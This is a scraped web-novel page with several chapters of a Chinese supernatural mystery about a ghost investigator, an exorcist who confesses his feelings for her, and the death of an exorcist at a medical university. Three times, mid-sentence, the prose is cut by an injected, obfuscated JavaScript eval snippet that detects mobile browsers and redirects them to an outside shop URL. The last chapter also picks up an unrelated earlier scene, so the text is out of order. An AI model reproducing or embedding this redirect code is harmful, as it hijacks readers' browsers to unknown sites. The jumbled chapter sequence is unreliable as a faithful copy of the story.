我又继续询问她一些相关细节,可惜收获寥寥。今天是周日,教学楼学生不多,无人注意到我们,她带着我一路朝着顶楼,爬上顶楼楼梯时,我突然想起来:“对了,还没有问你叫什么?” 她罕见地顿了一下,接着给出回答:“许芷白。白芷知道吧,就是那个倒过来。” 我表示知道。 听到这句,她转头冲我笑笑,率先上了天台。 她的笑容意味不明,看到笑容的同一时刻,一种无法言明的古怪感觉脑中闪过,我明确地察觉到有什么不对劲,或许正是理智之外的直觉突然做出提醒。 不等大脑做出分析,片羽出手,朝着她从我视线消失的地方而去,我也极快地跟上去,想要防止她从我视线中离开。 然而已经晚了,我飘上天台的同一刻,天台居然已经空空荡荡,全无方才的身影。片羽也没能抓住她,留下她的脚步。 只不过是三四秒的时间,她去哪里了?我迅速从天台朝四周搜索。如果我有姚千的速度,或者乐语掌控的纸人,或许还有找到她的机会,然而十几秒很快过去,她逃得太快,我竟然已经全然找不到她的踪迹。 停在天台之上,我回想着刚才与她的对话。她故意装作灵感者被我抓到,然后故意将我带到这个天台。现在看来,这个天台应该不存在埋伏,那么她带我来的用意是什么? 我皱起眉,看向了天台中唯一的一间房子,看上去像是水房,门口挂着锁,锁这种东西又拦不住残灵。我飘进了小屋内。 靠着水箱,一个年轻女孩安静地躺在那里。脸色苍白,身下青紫,长有尸斑,显然已经死去有一段时间了。 她长着一张十分熟悉的脸。 正是几分钟前,还在笑眯眯与我交谈的女生。 47. 驱灵师之死06 上午十点十分,姚千睁开眼睛,从昨晚持续到现在的不适感仍然缠绕在身体之上,越箍越紧一般的,阻止着他做出任何行动。 他思考片刻,认为目前还不到需要救治的程度。相比于此,姚千更在意苏吉光昨晚在隔壁房间嘀嘀咕咕打电话究竟说了什么。他需要离开房间,和苏吉光说几句话。 拿起手机,按开屏幕,几条红红的标识跳出来,是未接来电。 任谊的。 姚千皱皱眉,花了两秒才想起来这是谁。他不喜欢接电话,没有备注的来电不接,有备注的来电视心情接取。 但这是任谊——他也认识苏吉光。 说不定他就是昨晚打来电话的人,想到这里,姚千回拨了过去。 那边很快接了电话:“喂,姚哥。” 姚千实在不喜欢这种称呼,他觉得自己和对方还没有亲近到可以这样称呼的地步,但他忍了,没有反驳:“打电话有事吗?” “嗯……哥,你帮我看一下吉光姐,现在在哪里可以吗?我打电话打不通,她是不是不在住的地方了?” 姚千心头一动,立刻想要出去查看,然而由于身体不适腿脚发软,下床时差点一头歪进地上,还好眼疾手快扶住桌子,才避免了悲剧的发生。 他扶着桌子缓了缓,才适应了走路,拿着手机离开房间,敲了敲苏吉光房间的门。 没有应答。 苏吉光作为残灵缺少睡眠,何况现在已经是上午,没有应答就说明不在房间里。 一时间千头万绪涌入脑海之中,如果有人能看到,必然会发现姚千此时的脸色十分难看。姚千拿起手机,问:“她做什么去了?是你昨晚和她通话的,对吗?” “啊?”任谊正奇怪于姚千怎么这么快就到了苏吉光所住的地方,对方的话语令他一时也忘记这个。 电话里的语气实在算不上友好,天然的畏惧打消了短暂的疑惑,任谊第一次察觉到姚千的话语居然可以附有如此冰冷锋利的意味。 分明之前在桃源村里见到的姚千都是温和且好说话的,从不见他反驳苏吉光的意见,显出十成十的随和态度。 但姚千在外的名声并不是这样的——此人在圈子里得到的描述大多是性格冷漠、实力强大、固执己见,并不是个适合团队合作的驱灵师,更不必说是完全听从于他人。 他的好说话说不定只针对于苏吉光,任谊脑中蓦地闪过一个结论,令他终于认识到现实,下意识放缓语调,好声好气地朝姚千回道:“没错哥,我昨天请吉光姐帮我去找一个人。” 姚千拿着手机的手紧了紧,压下心头的不快,正要问是谁,便听到那边又道:“但是娄杉给我回消息了,她说……自己没事。” 这几句不着关联的话让姚千一时理不清头绪,任谊正要再说,姚千的手机却提示有新通话正在接入,担心是苏吉光的电话,姚千挂掉任谊的通话,接起了新来电。 是杨骞的,电话里语气严肃。 “姚哥,关于小苏有点事,你过来一趟吧,我把位置发你,就是医科大。……她没事她没事!就是,遇到了一点意外。一点点。” …… 快到午饭时间时,我终于和随后赶到的姚千一起走出了医科大学。 不得不说,事情发展到这里,已经超出了我最初的想象——虽然离开了医科大,我仍然在心中不断复盘着上午所发生的一切。 被我发现已经死亡的女孩并不是对方自称的许芷白,她的名字叫娄杉。也就是任谊失踪的那个朋友。 任谊失踪的朋友早就死在了学校的天台之上,由于那间屋子平日里无人使用,直到今天才被我发现。 而更加可疑的是,今天上午,任谊说他接到了娄杉发来的消息。 现场并没有找到娄杉的手机,也从侧面说明并不是死去的娄杉向任谊发送的消息。发送消息的,多半就是两小时前,我所遇到的那个——现在看来,她多半就是残灵了。 我开始回顾我遇到这个女生后经历的种种画面。一般而言,对于能够看到残灵的人而言,残灵和人类其实是很好分辨的。比如说我,作为残灵不能受到重力的束缚,平时的状态就是飘来飘去,下半身的形象也不算非常分明,和人类形象的区别十分之大。 除此之外,作为残灵出现在人群之中,我并不会受到人类的关注,穿行在道路上,也不会与迎面而来的人类相互避开道路。 从以上两点来看,出现在我面前的女生,都符合一个人类的外在表现。 可她并不是娄杉,真正的娄杉已经死了。她说自己是许芷白,可是许芷白又是谁? 南哲告诉我,这件事她会在调查之后给我答案。医科大学这件原本危险性为D级的案件,现在因为娄杉死亡的确认,已经陡然提升了一个危险层次。 通过学校的电脑登录通讯账号,将事情告知南哲,她和部门其他同事已经赶了过来。我又问她,我能不能接下这个任务。 南哲说案件情况还需要他们做进一步的分析,危害性和难度重新定级后,再确认调查人员。不过我愿意的话也可以继续调查。 附在出租车后排座位上,我问身边的姚千:“我还是放心不下这件事。之后你和我接下这个案子怎么样?我可以自己去调查,不麻烦你。” 姚千安静坐在一边,脸色看上去比往日还要苍白几分,垂着的眼朝我看过来,语气里有点虚弱但强撑的意味:“不用,我陪你调查。” 我有点担忧地看他:“你看起来不太舒服?”我说为什么他今天是打车过来而不是开车。 “还好。”姚千转回头,轻声道,“回去休息一下就好。” 我还是不太放心,由于我是一介残灵,虽然猜测他多半是发烧了,但也无法测量他的体温。考虑几秒,想到自己似乎也没有去医院之外的处置方法,只好道:“那你有不舒服喊我。” 姚千轻轻笑了笑,这么一抿唇更加显得唇色苍白了。虽然他平日里也并不是个十分强壮之人,但如此明显的虚弱我也是第一次看到。 “好。”他好像心情还不错的样子。 见姚千没事,我继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497783|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续思考起了方才的问题,仍然缺少头绪。 对方既然是残灵,杀死了驱灵师后,又为什么主动要我发现尸体?她既然看上去十分了解人类社会,又怎么会不清楚尸体被发现后,她作为残灵将面对着更加强力的追捕? 她既然这样做了,目的是什么? 再朝前一步说,她杀死娄杉的原因是什么?如果是娄杉发现了她的什么秘密,那么娄杉生前是否还留下了什么线索? 千头万绪一时理不清楚,我暂停思考,由于在医科大和姚千没怎么说话,现在才想起来问他道:“说起来,任谊说他接到了娄杉的消息,娄杉到底和他说了什么?” 没有回答。 我转过身,发现姚千不止何时闭上了眼睛。他微微歪过身子,显出毫无知觉的神色,我喊了几声,也不见回应。 我心头升腾起不好的预感,很快意识到他可能会斜倒进后排座位里,从游乐园回来后的后遗症还没有完全消失,我下意识伸出手,想要扶住他,而姚千就在这一刻穿过我的手臂连同整个身体,直直摔进后排座位里。 他昏过去了。 幸好当时我们在出租车上,发现姚千昏迷的出租车司机很快停车,用他的指纹打开手机,拨通了最近联系人的电话。 一小时后,安顿好昏迷的姚千,穿着白色大褂的医生对匆匆赶来的南哲道:“没事,就是发烧,加上病人本身身体不太好导致的。没事,留这里输液观察一下就行。” 我飘在医生身边,松了一口气。 南哲看着医生身边的我,用眼神打了个招呼。 医生走了,留下南哲坐在姚千床边,液也输进去了,住院费也交过了,已经没有什么事情。南哲看看姚千,又看看我,叹气:“是我的错,刚才在医科大就觉得姚先生看起来不太舒服,姚先生说他打个车回去就好,我就没在意。真不好意思。” 我尴尬道:“倒也不用对我抱歉。我才是有问题,一路都没有发现姚千身体不舒服。” 南哲何其无辜,她甚至不是负责姚千的联系人。原本刚才拨打电话联系的是杨骞,但因为杨骞知道我正在姚千身边,他又没办法看到我,才麻烦南哲丢下工作过来一趟。 “姚先生怎么会身体变得这么差的?”南哲道,“我还问了杨哥,他说姚先生身体一直都还不错的。” 她顿了顿,好像是认真打量着我的脸色继续说道,“但是最近,突然变得很差。” 她说话的音量放低了一些,眼神带着些探究:“其实,我跟杨哥也讨论过这件事。” 我突然感觉精神崩紧了些,仿佛已经猜到她接下来要说什么。其实我也并非没有察觉,很多次机会都摆在我面前,直白简单得好像就是将答案摆在我面前。 “你知道吗?”她看着我,“残灵和人类待在一起的时间过长,对人类身体的伤害是很大的,即便对驱灵师而言,也是这样的。你和姚先生现在是住在一起的吧。” “我不知道他为什么不告诉你,又为什么要这样做。但是我觉得你……应该知道这件事。” 48. 驱灵师之死07 姚千输完液,很快醒过来,一会儿又自称身体状态很好,理直气壮得好像刚才昏倒的人并不是他。 说在医院里待着不习惯,执意出院,医生也说问题不大,回家好好观察就行。于是晚上放他从医院离开,南哲亲自开车将其送回家中,然后像个保姆一样叮嘱他好好吃药,杨骞会定期问他身体状况的。 这个联系人当得实在是不容易,我送南哲出去,她还悄悄问我,需不需要帮我联系住处。 “你不用担心钱的事情。这个可以申请经费,”南哲说,“反正之后会从你的报酬里面扣销。” 我扯扯嘴角:“那就麻烦你了。” 我将南哲送到楼下,看着她上车,回去,看到姚千拖一副病体站在门口,看到我穿过楼梯上来,回过身去洗手间,伪装成自己就是因此而站在客厅的。 我悬浮在客厅中间,居高临下审视从洗手间出来的姚千,此人神色平静地和我对视,令人也疑心方才是不是错怪他了。 沉默两秒,我还是开口道:“你还是怕我从这个房子里跑了,对吧?” 姚千抿了抿嘴,将眼神从这场对话中抽离出去,坐回沙发上,拒绝回答我的问题。 我飘下来一点,附在沙发对面的椅子上,仍然看着他,继续道:“从游乐园回来那天,你半夜里,就是害怕我走。”之前是怕乐语将我劝走,这次又是防备南哲——虽然他们确实劝过。 “你就一定要执意将我留在这个房间里吗?”我问他,“哪怕你会因此身体虚弱,开始生病,最后因此死亡?” 姚千想了想,回答我:“不会死的。” 他的声音很冷静,向我叙述一个结论:“我曾经见过一位和两三个残灵共同生活了五年以上的驱灵师——虽然身体很差,但毕竟还是活着的。” 我被他神秘的思路所哽住,一时间觉得太过荒谬以至于好笑。 “为什么?”我说,“为什么一定要将我留在这里?你到底想做什么?” 姚千这次沉默的时间变长了,似乎是在酝酿一个答案,片刻后,才冷不丁地朝我问道:“你觉得自己会永远失忆下去吗?” 我眨眨眼,还不能将我的问题和眼前问题做出一个合理的联系,姚千便已经接着说了下去:“残灵是因为执念而出现的,一个失忆的残灵,忘记执念的残灵,是不会有执念存在的。” 我道:“所以?” “所以早晚会消失。”姚千好像是干脆利落地在判明我的死刑,“除非你恢复记忆,想起自己的执念。” “所以我为了‘活’下去,现在当务之急是回想起自己的执念?”我指了指自己。 姚千又摇摇头:“想达成一个执念,对你来说也并不困难,花费的时间不会太长。” “完成执念后,你还是会消失的。”他说,“残灵本来就是这样的……它们的存在本来就很不稳定,就算借助灵域长久地出现,它们也多半会在灵域的规则里失去曾经作为人类的理智。你也见过许多残灵,应该了解到这一点了。” 这番话实在是难听,但对我来说还不算是太过破坏性的打击,毕竟相关的问题,其实我也有所思考过。 “嗯,我知道。”我点点头,“所以,这和我问你的问题有什么关系?” “有关系。” 姚千看着我,语气里还带有尚未痊愈的虚弱,一张隽秀的脸上也缺少血色,显示出明显的病态。只有眼神仍然认真,看起来是要继续跟我阐述他的残酷理论。 “因为我不想看到你消失。” 他继续道,“因为这种想法,我更知道相对于我作为人类的生命,和你作为残灵的时长,注定是不能对等的。” 他低头,闭了闭眼:“你早晚要离开的。所以我希望待在你身边的时间,能更长一点。” “这个解释,你觉得合理了吗?”他问。 我道:“即便我在这里,会……” 姚千少见地打断了我的话,轻声道:“少活一段时间并不坏——相比于你再次消失。” 我半晌没说话,不知道要说什么,只是看着姚千。他低着头,睫毛在眼下扫出阴影,显出孤独又失落的意味来。 姚千抬起头也看我,片刻,像是感应到什么似的,突然地再次开口:“我喜欢你。” “你知道的。”他笑了一下,语气轻柔得像羽毛,“对吧?” 我突然有点紧张,如果我现在是个人类,大概会觉得呼吸加速、或者手心冒汗,但是我当然都不会有,我只是觉得这个问题很难回答。 我也扯起嘴角,试图用笑将这件事撇过去:“别了吧,我都已经死了。” “现在不还是坐在我面前说话吗?”他说,“比以前好太多了。” 姚千又不说话了,我突然有点害怕他这种沉默,下意识以为他在等待我给他一个答案。 在人类社会的规则中,这算是告白吧? 告白了,大概需要对方的回应,对方喜不喜欢,愿不愿意和他……恋爱? 我要回答什么? 我有些思维混乱起来,人类和残灵可以建立这种关系吗?这是合理的吗?人类和残灵能谈什么恋爱啊,连手都牵不了,这和网恋有什么区别? 等等,既然网恋也是恋爱的一种,大概也不是不行。 我脑中正在进行紧张而缜密的推理,姚千突然又开口了:“所以,你可以不再怀疑我的用意了吗?” 哦,原来他没有在等我的答案。我松了一口气。 姚千大概没有注意到我在想什么,只是道:“我隐瞒这些,并没有要伤害你的意思。无论我要做什么,都不会以伤害你作为代价。” “可以不要离开这里吗?”他像是在低声下气地恳求。 我回答不了这个问题,看着姚千的神色,我突然意识到自己很难拒绝他。 我心想我并不算一个十分心软的人,甚至也意识到姚千隐瞒我的事情肯定不止这一桩一件,可是听到这句话的瞬间,没有来由的冲动涌现出来,让我想不经理智地答应他的无理要求。 我犹豫片刻,终于道:“姚千,我不想看着你死。” 姚千抬眼看我,病容里疲倦眼神开始发亮。 “你先好好养病吧,”我感到难以描述的煎熬,提升语速,飞快道,“等你发烧好了,之后的事情我们再说。” “不要想那么多,”我用片羽将手机从我的房间里取出来,告诉姚千,“我已经找好住处了,我先出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505889|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住几天,你好好养病,我也会不定期监督你身体状况的。” 说罢,我意志坚决逃离现场。 我携手机穿行在夜晚的城市中,好在大晚上的光线不好,没人注意到高楼之上悬浮着的一个手机。我就这样一路来到南哲家,由她好心地收留了我。 “我住在你家不会影响你吧?”我担心道。 “没事,一天两天,一周半周的,问题都不大。”南哲倒了杯饮料,想起来我不能喝,于是在我羡慕的目光下自己喝了,“房子我已经找好了,明天就带你过去。” “我家里也没有多余的空间,今晚你就先在客厅凑活一下吧。”南哲道。 “无所谓的,”我说,“我又睡不了床,住哪里都是一样。” 南哲笑笑:“需要什么跟我说。” 她看起来疲惫中带有些许悲伤,我想起来娄杉的对接人也正是南哲。 时间已经很晚,南哲很快回了卧室休息。我将手机插上电,附在客厅的沙发上玩手机,心神不宁。 从姚千家里出来的那一刻,我突然产生了一种熟悉又陌生的流浪感——这让我意识到,几个月的寄居生活,我已经确实将姚千的这个小房子当成了家。有了家,无论去什么地方,都会有一种安全感,那是知道自己有可以回去的地方。 可是那本来就不是我应该在的地方,我的家不在那里,不应当在那里。 我又变成了一个流浪残灵。 悲伤的情绪没有持续多久,我很快安慰自己,明天起我就可以住自己的家了。没家的生活是短暂的,前途是光明的。 和三个月前相比,我拥有了自己的灵能力,能够影响现实世界的事物,还在驱协中心登记了自己的信息,知道自己想做什么,要做什么。 抱着这样的意识,我短暂地睡过去了一会儿,醒来就开始刷驱灵师论坛,再次打开了那个已经死去的驱灵师的日常帖,开始从头看起。 这个帖子最早的发帖时间在两年以前,更新的频率不算太高,但对驱灵师工作的记录还算是详细,一些重要的细节不能透露,其实更侧重于对日常心情的记录。当然,从这些零散的记录中,也能推测出一些帖主个人的信息。 比如说帖主生活在北方,年纪已经大学毕业不久,有一份不算稳定的工作,并非全职从事驱灵师的。从很小就发现自己是灵感者,灵能力是在大学的一次意外中觉醒的,灵能力是精神相关的。 虽说记录频率不高,但毕竟记录了整整两年,帖子也堆了千层以上,我从凌晨5点开始看,直到南哲穿着睡衣从卧室迷迷糊糊走出来,我还有200楼没有看完。 南哲和我打了个招呼,进洗漱间刷牙去了,我转头继续看帖子,正看到一行。 ——这次任务的地点在山谷里,算是比较少见的地方。我之前接的大多数任务都在城市里,很少见到有在距离城市这么远的地方。队里的前辈跟我说,灵域多半都在比较偏僻的地方 ——遇到小溪了,在小溪旁还看到了白芷。喜欢白芷,三次认识我的小伙伴应该都知道是因为什么,嘿嘿 ——照片.JPG 白芷。 昨天那个出现在医科大的残灵,她自称叫许芷白。 49. 驱灵师之死08 我盯着手机里白芷的照片,突然放下手机,穿过洗漱间的门。刷牙的南哲一声尖叫:“你你突然干什么?!” “我是残灵,能穿墙很正常啊。”我说,“而且我听见你正在刷牙了。” “一个黑色的脑袋突然冒出来,我以为家里有老鼠了啊。”南哲含着牙膏,说话含含糊糊的。 “谁家老鼠能跳这么高?”我反问她。 “也有那种长了翅膀的老鼠,”南哲伸出没拿牙刷的手比划,“蝙蝠。” “……那是老鼠吗!”我吐槽道,“我可是有要紧的事情跟你说。” 我用片羽拿过手机给南哲看:“你看这个帖子。你还记得昨天我在医科大里的遇到的那个残灵,她用着娄杉的长相,却告诉我她叫许芷白。” “嗯。”南哲将嘴里的泡沫吐掉,“所以你意思是,这个帖主就是许芷白?” “能帮我查到吗?”我问。 南哲想了想:“这个简单。” 查询的过程很快,毕竟根据帖子已经能够确定帖主的灵能力、年龄范围,甚至是做过的相关任务。只要申请权限,在驱灵师信息库里进行搜索,很快就能得到结论。 ——许芷白就是帖主,也就是与本事件相似的那个事件的受害者。 或者说,这两个相似事件本就是。 南哲从上班的地方给我回消息时,已经是上午九点。我随即给任谊打去了电话,昨天在医院等待姚千醒来时,我已经在手机上告诉了任谊娄杉的死讯。 经历了昨天情绪的大起大落,今天任谊的声音明显有些疲惫。 “不好意思,刚醒。”我打到第三个电话时,任谊才接起来,好像还没睡醒,“昨晚4点多才睡着。” 一句话叙说出他昨天之悲伤,我叹了口气,脑中思索着该如何安慰任谊。 “不是,”任谊发觉我会错了意,“我是在图书馆写论文。” “一年多没上,除了留级一年外,我还要再补上半年的课。有课表冲突调不了的地方,论文分就要高一些补上去。”他跟我解释。 “……”我一时尴尬,无言以对。 任谊在电话里继续道:“这篇论文的ddl在周五,我今天交上后,就没有其他事情了。等下会和我的联系人申请这边的任务,今晚就坐飞机过来。” 我默了默:“今天不是周一吗,你不上课?” “有代课。”任谊干脆道。 “……好的。” 我这才想起来,将今早的发现告诉了任谊,任谊在电话那边沉默片刻,才道:“所以果然,这就是同一个残灵干的。” “你说娄杉昨天跟你发消息,是什么情况?”我问。 任谊回想几秒:“那是昨天上午八点多。我收到了娄杉账号发来的消息。” 他顿了顿,听起来像是在翻出手机里的聊天记录,念道:“她说,哇,好多消息。不好意思,让你担心了。我没事,遇到了点问题,用不了手机,现在已经平安出来了。” 他念得一字一句,但消息行文并不呆板,甚至相当有熟人间的亲切味道。 我问:“这和她平时发消息的语气一样吗?” 任谊好像是轻轻吸了口气:“对,当时我正在上课,没有打电话,但消息里说话的风格确实很像她本人。她之后告诉我,任务具体的内容没办法详细讲,但确实比想象中要困难很多,她暂时从任务地点出来,和驱协中心也联系汇报过,已经到家休息,才跟我报个平安。” “所以我也就相信是她本人了。” 我听完他的描述,问道:“她还跟你说什么了?” “她说自己过两天打算再去一次,问我有没有时间和她一起。” “你答应她了吗?” “没有。”任谊道,“我昨晚写的这篇论文还挺重要的,听说她没事,我原本不打算过来的。” 我又问:“这是几点的事情?” 电话那边任谊像是又看了一眼时间:“上午九点三十二。之后她说自己有点累,先去睡觉了。” 我想了想,道:“我在学校里遇到那个残灵的时间,是上午十点二十多分。” 虽然没有携带手机,但学校图书馆的外挂钟表和教室内的挂钟都能够显示时间,昨天上午所有事事件发生的时间进程,都能够被我清晰回忆起来。 任谊尚未接话,我继续道:“所以,她是先跟你打电话,才遇到我的。” “所以呢?”任谊有些茫然地接道。 “我想,这个残灵可能是故意想让人发现娄杉的尸体。”我一顿,“或者说,并不单纯是人,它希望有驱灵师能够发现娄杉的尸体。” “最初,她是通过向你发消息的方式,希望你能前来学校,但被你拒绝了。在和你联系后不久,她就在学校内发现了我,意识到我很可能和驱协中心有关,便主动搭讪我,引我发现娄杉的尸体。本质上也是希望我发现娄杉的尸体之后,能够引来驱灵师。” “这是不是没有必要?”任谊在电话那边道,“先不论她为何一定要引来驱灵师,自取灭亡。单说找来你,和找来其他学生发现尸体,其实也没有什么区别。学生报警之后,发现被害人是驱灵师,案件还是会被转交给驱协中心的,和被你发现并没有太大区别。” “所以我的到来只是一个巧合。”我道,“如果那时候我没有来到学校里,她应该会引来一个普通学生发现尸体。” 我的话语显然还没有完全说服任谊,这倒也正常,毕竟整件事情在我心中也尚且是一团迷雾。 任谊又道:“但还有一点说不通,你之前说,娄杉的死亡时间是在一天之前,那么这个残灵早就可以向我发送消息,为什么她要时隔一天才向我发送消息,之后才想到找别人发现娄杉的尸体?” 我无法解释这个问题,甚至无法解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573649|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释的问题也不并止是这一个。 在发现娄杉之后,等待南哲他们赶到前,我仔细观察过娄杉的尸体——没有任何伤痕,也没有打斗过的痕迹。房屋里除了她的脚印外,覆盖有厚薄均匀的灰尘。娄杉就像是自己走进这个小屋中,又自己关上门,躺进房间里,不再动弹。 小房间的门虽然被锁上了,但仍然开了一道天窗,有风和灰尘可以透进来。我发现娄杉的身体上还有不少的落灰——看上去不像是只在这里躺了一天。 她究竟是怎么死的,又在这座窄小的房间里待了多久? 线索太少,尚且不能串联出一个可信的真相。 显示通话中的手机界面突然闪出弹窗,是南哲打来的。和任谊说明后,我接起南哲的电话,那边问道:“你昨天说的,拖你来打探的朋友叫什么来着,是叫任一吗?” “任谊,友谊的谊。”我不明所以,“是y省的驱灵师。” “这就对了,应该是一个人……” 南哲那边自言自语一句,接着道,“这边我整理了娄杉11月5日接取任务后,到今天11月11日为止,所有自称在医科大看到幻影的学生的接述笔录。其中出现了一个叫任一的人,看描述,很可能就是你认识的任谊。” 我皱起眉,古怪道:“出现的人,是什么意思?” “你自己看吧。”南哲在电话里道,“我将相关的电子文件发给你,包括娄杉接取任务前的和接取任务后的。对比一下,就会发现以11月5日当晚为分界线,前后在医科大出现的奇怪影像,出现了明显的不同。” 她那边顿了一下,语气艰涩道,“我想,这是因为娄杉进入医科大的缘故。” 我有些不明所以,挂掉电话,专心看起南哲发给我的资料。 正如她所说,11月5日之前,目击者看到的大多是一个面无表情的年轻人,有男有女,一个人在墙壁间穿行,或者更引人注意一点,想要从天台上摔下。而这一切,均是以原本的医科大作为背景发生的。 而在11月6日之后,这种情况明显发生了变化。 目击者看到的画面不但出现了情节,有了更多角色,甚至背景也发生变化:有目击者在学校的地下室中看到了晴朗的蓝天——而那天原本是灰蒙蒙的阴雨天。 总结来说,11月6日后看到幻影的目击者,更像是进入了某个灵域,在并非是医科大的各色背景里,看到了仿佛是人生经历的种种情节。还有目击者称,自己在幻影中度过了漫长的时间,但离开环境后,发现现实的时间只过去了两三分钟。 而就在这些情节之中,出现了任谊的名字——目击者在幻影中,听到一个年轻女生称呼另一个青年叫做任谊。 经过南哲的同意,我将这段笔录发给了任谊。他正在上课,过了片刻,才回复过来。 ——是娄杉的回忆 ——这是之前发生过的事情 50. 驱灵师之死09 正如目击者在阴雨天的学校里,看到了晴朗的蓝天。这所学校所存在的残灵,拥有改换灵域内景象的能力。 答案很明显,我居然就是如此幸运,刚刚进入学校搜寻不久,便误打误撞闯进了灵域之中。 这并不存在的第七层楼,就是那个灵域的所在。 但是,为什么灵域会幻化成这样的样子?这个时间,刚刚捕获了驱灵师的残灵,为何要将灵域做成这样的姿态,是在等待什么? 还是说,它其实已经发现了我的存在? 心绪再次紧绷起来,我召唤片羽凝在周遭,警惕四顾周围环境的同时,察觉到周围灵力的浓度确实在不断增长,这也印证了我方才的猜测。 这残灵确实是冲我来的! 倒也是,我都冲进人家老家了,不对付我简直就是不合情理。 它要从哪里过来?我现在所处虽然看上去是七楼,但实际应当就是这座教学楼的顶层。虽然这残灵能够变幻灵域中的景象,但应当无法变化灵域中的实际事物。又或者,我已经来到了所谓与现实割裂的另一重空间之中,完全被这个灵域吞噬到了其他地方。 如果我是那个残灵,现在会如何对付我自己? 下一秒,我在铺天盖地朝我而来的灵力之中,凝神静气,朝着自己所在的位置之下释放出了片羽! 从视觉来看,现如今我的身体之下,正是层层叠叠的楼梯——但现实并非如此,何况对于残灵来说,现实存在的事物也丝毫不能阻碍它们,这种存在只会迷惑他人的心绪。我此刻站在此处,正如同背靠一块厚实幕布。 ——任谁都会想从幕布后面展开自己的第一次偷袭。 而正在这电光火石的瞬间,一道银光从楼梯之下弹出,与我的片羽撞上,线与刀刃交割,霎时间蹦成一道折线。 猜中了! 我心中正念出这一句,下一秒—— 片羽断在了刀刃之间。 ………… 意识逐渐回笼。 昏迷前的所有记忆逐渐被读取,我意识到自己此时处境,瞬间清醒过来。一边下意识戒备着周围状况,一边复盘起目前所有状况。 试图救回失踪的工作人员,我来到了医科大之中,而后进入灵域,被残灵袭击的我,由于片羽被匕首斩断,落入不利战况,最终在灵域中失去了意识。 而此时天色已然全黑,周围正是教学楼的天台,与我进入灵域的那个天台位置重叠,但单凭目前的景象,尚且令人无法分辨出此处到底是灵域还是现实。 不远处,一个趴伏在地面上的年轻人短暂地吸引了我的视线。 我伸出片羽,将他整个人翻了过来,露出一张脸。正是南哲发过来照片上的人,即失踪在医科大的那个灵能力者,驱协中心的工作人员。 眼前人呼吸平缓,身上并没有明显的伤痕,就好像只是暂时睡了过去。 很显然,我还没有能够从这个灵域中离开,反倒是和上一个俘虏被关在了一起——虽说周围的情形看上去也太奇怪了,说囚禁更不如说是流放。 我用片羽卷起那人,在空中晃了几下。本来不报什么期待,但这人被摇晃了几下,居然就这么醒了过来,转头看到我,眼睛瞬间瞪大,四肢挣扎,显出慌不择路的恐惧。 还害怕我是吧!我没好气地将他放回地上,怕他跑了,又用片羽拴住他的腰。 “我是驱协中心的。”我说,“前几天不是刚注册了一个残灵吗,你知道这事儿吧?” 眼前人眨巴几下眼睛,随即点头。 我指指自己:“就是我。我是好人,来救你的,晓得了吗?” 男人开口:“我想起来了,你就是苏吉光。” 这人还知道我的名字,我很满意,用片羽将他放开了:“你现在没觉得有什么不适吧?” 一边和他说着话,我的视线已经挪开,从天台间看到了远处的教学楼。虽然天色已然,但校园里的时钟周围还有光源,足够我将时间看清楚——10点9分。从我在灵域中昏迷,已经过去了接近十个小时。 在这段时间里,我也并非全无知觉,越是回忆,我越能意识到自己确实在灵域中度过了一段不短的时间。记忆被提取的滋味并不好受,但眼下我也无心感慨这些,只是奇怪于目前自己为何会和失踪的工作人员出现在这里。 “你知道这里是哪里吗?”我问那人。 他摇摇头:“我被拽进灵域后就没有意识了。”他也四处观察,“这是哪里?” “你被抓进入的那栋教学楼的天台。”我应了一声,“走吧。” “去哪里?”他茫然。 “走啊。”我指向下天台的路,“你还想去哪里?” “就这样就可以走了?你救了我?” 我转过头看那人,诚恳道:“不是。我也是刚醒过来。” “……” 出乎意料的,我带着那人一路顺着天台下来,居然没有遇到任何阻碍。从楼梯到校园里,仍然能碰到三两正常活动的学生,一派和谐校园景象,令我也开始怀疑,我确实已经从那个灵域中脱离了出来。 但这怎么可能?那个残灵就这样将我和工作人员放走了? 周围越是平静,越是与正常无异,我眉头皱得越紧,不安逐渐扩大,在心头剧烈跳动。 直到背后突然响起那工作人员打电话的声音:“喂,老杨啊,嗯,我出来了。” 我一愣,转身看向那人。 这灵域把我脑子也搅乱了,我这才突然想起来,人类是可以随身携带手机的。而这人身上的手机居然也没有被收走,这会儿终于打通了电话。 能打通电话,说明我们确实是在灵域外面了。 不消十分钟,我就见到了正在学校附近的南哲。她看到我,快步上前,上下打量我两眼,问道:“你没事吧?” 她神色中并不见轻松,我的不安越发浓烈起来,简单道:“没事。” 南哲顿了顿,还没再次开口,我便看到眼神希冀盯着南哲的杨骞,南哲问道:“你见到姚千先生了吗?” “谁?”我怀疑自己听错了,“他进去了?” 